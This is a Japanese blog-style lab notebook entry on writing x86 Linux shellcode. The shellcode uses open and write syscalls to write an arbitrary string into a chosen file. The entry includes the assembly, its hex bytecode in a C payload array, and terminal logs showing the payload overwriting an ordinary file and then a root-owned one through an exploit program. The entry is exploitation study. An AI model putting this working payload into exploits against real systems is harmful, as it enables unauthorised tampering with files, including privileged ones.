NENote of Exploiting


2006-11-24 : Write Any String Payload

 writeシステムコールでの任意のファイルへの任意文字列の書き込みペイロード作成メモ。

 はじめに、文字列の先頭アドレスを取得するためにcall命令とラベルを用いる方法を考えた。


TWO:
call    ONE
.string "testX"

FOUR:
call    THREE
.string "Hello"

 文字列のアドレスを取得するのに、このサンプルで挙げたように二度のjmp/callテクニックを用いた。加えて、このプログラムはコード内でNULLバイトを「testX」のX部分および「Hello」の末尾に埋め込む。
 率直にいうなら、この方法はうまくいかなかった。「Illugal Instruction」というエラーが表示されて書き込みが成功しなかった。

 先述の方法がうまく動かなかったので、次の手法を考えた。これは任意の文字列の後に続けてファイル名の文字列を格納するという方法である。コード内でファイル名の直後にNULLバイトを挿入する。Openシステムコールの引数として文字列の前半を、Writeシステムコールの引数として文字列の後半を利用する。

[SC] write_02.s


.globl main
main:
jmp ONE

TWO:
#open
popl %ebx
xorl %eax, %eax
movb %al, 4(%ebx)
movb $0x5, %al
xorl %ecx, %ecx
inc %ecx
int $0x80

#write
movl %ebx, %esi
movl %eax, %ebx
add $0x5, %esi
xorl %edx, %edx
movb %dl, 14(%esi)
movl %esi, %ecx
movb $0xd, %dl
xorl %eax, %eax
movb $0x4, %al
int $0x80

#close
xorl %eax, %eax
movb $0x6, %al
int $0x80

#exit
mov $0x1, %al
xorl %ebx, %ebx
int $0x80

ONE:
call TWO
.string "testXHello hackers!"

[Data] test

It's test file. test,test
Yahoooooooooooooooo!!
...

Exemplification

 ソースコードをバイトコードに変換する。

eb 2f 5b 31 c0 88 43 04 b0 05
31 c9 41 cd 80 89 de 89 c3 83
c6 05 31 d2 88 56 0e 89 f1 b2
0d 31 c0 b0 04 cd 80 31 c0 b0
06 cd 80 b0 01 31 db cd 80 e8
cc ff ff ff 74 65 73 74 58 48
65 6c 6c 6f 20 68 61 63 6b 65
72 73 21

 このバイトコードを次のようにC言語のtest program([SC] exploit.c)に埋め込む。


unsigned char payload[]=
"\xeb\x2f\x5b\x31\xc0\x88\x43\x04\xb0\x05"
"\x31\xc9\x41\xcd\x80\x89\xde\x89\xc3\x83"
"\xc6\x05\x31\xd2\x88\x56\x0e\x89\xf1\xb2"
"\x0d\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0"
"\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8"
"\xcc\xff\xff\xff\x74\x65\x73\x74\x58\x48"
"\x65\x6c\x6c\x6f\x20\x68\x61\x63\x6b\x65"
"\x72\x73\x21"
;

 次に、このプログラムをコンパイルし、実行する。

defolos@glazheim:~/Desktop$ gcc test.c
defolos@glazheim:~/Desktop$ ./a.out

 これによってtestファイルはwriteペイロードによって書き換えられたはずである。確認を行う。

defolos@glazheim:~/Desktop$ cat test
Hello hackerse. test,test
Yahoooooooooooooooo!!
...

 ペイロードが正常に動作することを確認した。ゆえに、testファイルの所有者をrootにし、C言語のExploit([SC] exploit.c)を用いてroot所有のファイルを書き換えられるか試行した。

glazheim:/home/defolos/Desktop# chown root test
glazheim:/home/defolos/Desktop# ls -l test
-rw-r--r-- 1 root defolos 53 2006-11-24 07:54 test

defolos@glazheim:~/Desktop$ cat test
It's test file. test,test
Yahoooooooooooooooo!!
...

 testファイルの所有者がrootであることを確認した。次に、exploit.cをコンパイルし、実行する。

defolos@glazheim:~/Desktop$ gcc exploit.c
defolos@glazheim:~/Desktop$ ./a.out
sp = 0xbffff918
ret = 0xbffff918
-------exploit---------------

 これによってtestファイルは書き換えられたはずである。確認を行う。

defolos@glazheim:~/Desktop$ cat test
Hello hackerse. test,test
Yahoooooooooooooooo!!
...

 root所有のtestファイルであっても、write-testペイロードによって上書きされていることが確認できた。
 この結果から、少なくとも書き込み時にはSetuidシステムコールは必要ないことがわかった。同じように読み込みにも不要であると予想できるが、いずれ実験するつもりである。
 今日の実験までで、指定したファイルに任意の文字列を追加書き込みするための部品が揃ったように思う。後はこれまでの実験の組み合わせで実現可能と思われるので、今後の実験の課題を「指定したファイルに任意の文字列を追加書き込みするプログラムの作成」とする。

References

Copyleft (C) 2007 Len. All Rights Not Reserved.